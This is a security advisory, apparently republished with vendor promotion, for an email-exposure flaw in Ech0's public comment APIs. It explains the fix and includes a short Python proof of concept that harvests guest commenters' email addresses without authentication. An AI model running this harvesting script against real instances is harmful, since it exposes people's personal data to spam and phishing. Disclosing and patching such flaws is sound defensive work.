GHSA-RJ4G-RQGH-RX9H

The Comment model serializes its Email field through the public comment-listing API. internal/model/comment/comment.go:33 uses json:"email", while adjacent PII fields (IPHash, UserAgent) correctly use json:"-". The public endpoints GET /api/comments?echo_id=X and GET /api/comments/public?limit=N both live on PublicRouterGroup with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls.

Details

The Comment model at internal/model/comment/comment.go:33:

type Comment struct {
    // ... 
    Email     string     `gorm:"size:255;not null;index" json:"email"`
    IPHash    string     `gorm:"size:128;index"          json:"-"`
    UserAgent string     `gorm:"size:512"                json:"-"`
    // ...
}

The json:"-" on IPHash and UserAgent shows the developer's intent: hide server-side PII from API responses. The Email field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim.

Routes at internal/router/comment.go:20 and comment public-feed route:

appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID())
appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments())

Both handlers call ListPublicByEchoID (service at internal/service/comment/comment.go:329) or ListPublicComments (service at :340), both of which return the slice of Comment structs to ctx.JSON. No DTO projection, no field stripping.

The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side.

GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on GET /api/allusers, which exposed account-owner emails. This report covers a distinct endpoint (/api/comments and /api/comments/public) and a distinct data subject (guest commenters, not registered account owners).

Proof of Concept

Anonymous caller harvests commenter emails on the default install:

import requests
TARGET = "http://localhost:8300"

# Any echo UUID from the public feed.
pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"]

# No auth header. The response includes the raw email field.
r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id})
for c in r.json()["data"]:
    print(f"  nickname={c['nickname']!r}  email={c.get('email')!r}")

# The /public variant returns recent comments across every echo.
r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100})
emails = {c.get("email") for c in r.json()["data"] if c.get("email")}
print(f"harvested {len(emails)} unique emails from /comments/public")

Observed on v4.5.6:

nickname='GuestHarvestMe'  email='[email protected]'
harvested 1 unique emails from /comments/public

The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address.

Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against /api/comments/public. Privacy-regulation exposure follows:

• GDPR and CCPA. Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes.
• Spam and phishing targeting. Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with.
• Cross-instance aggregation. A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers.

No authentication required. No admin role required. The /comments/public endpoint returns cross-echo aggregated data, so one call covers the whole instance.

GHSA-RJ4G-RQGH-RX9H has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260503034700-cb8d7a997dd8); upgrading removes the vulnerable code path.

Kodem intelligence

Change the JSON tag on the Email field to match the adjacent PII fields:

Email string `gorm:"size:255;not null;index" json:"-"`

Or, if some authenticated view needs the email, introduce a PublicComment DTO that projects only non-sensitive fields:

type PublicComment struct {
    ID        string    `json:"id"`
    EchoID    string    `json:"echo_id"`
    Nickname  string    `json:"nickname"`
    Website   string    `json:"website,omitempty"`
    Content   string    `json:"content"`
    Status    string    `json:"status"`
    Hot       bool      `json:"hot"`
    Source    string    `json:"source"`
    CreatedAt int64     `json:"created_at"`
    UpdatedAt int64     `json:"updated_at"`
}

Project the handler output through this DTO. Keep the raw Comment struct internal to the service layer.

Found by aisafe.io

1. What is GHSA-RJ4G-RQGH-RX9H? GHSA-RJ4G-RQGH-RX9H is a medium-severity security vulnerability in github.com/lin-snow/Ech0 (go), affecting versions < 1.4.8-0.20260503034700-cb8d7a997dd8. It is fixed in 1.4.8-0.20260503034700-cb8d7a997dd8.
2. How severe is GHSA-RJ4G-RQGH-RX9H? GHSA-RJ4G-RQGH-RX9H has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lin-snow/Ech0 are affected by GHSA-RJ4G-RQGH-RX9H? github.com/lin-snow/Ech0 (go) versions < 1.4.8-0.20260503034700-cb8d7a997dd8 is affected.
4. Is there a fix for GHSA-RJ4G-RQGH-RX9H? Yes. GHSA-RJ4G-RQGH-RX9H is fixed in 1.4.8-0.20260503034700-cb8d7a997dd8. Upgrade to this version or later.
5. Is GHSA-RJ4G-RQGH-RX9H exploitable, and should I be worried? Whether GHSA-RJ4G-RQGH-RX9H is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-RJ4G-RQGH-RX9H is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-RJ4G-RQGH-RX9H? Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503034700-cb8d7a997dd8 or later.